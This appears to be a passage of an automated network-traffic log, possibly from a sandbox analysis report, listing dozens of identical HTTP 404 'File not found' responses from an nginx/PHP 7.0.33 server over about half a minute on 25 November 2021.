Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:24 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:25 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:51:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
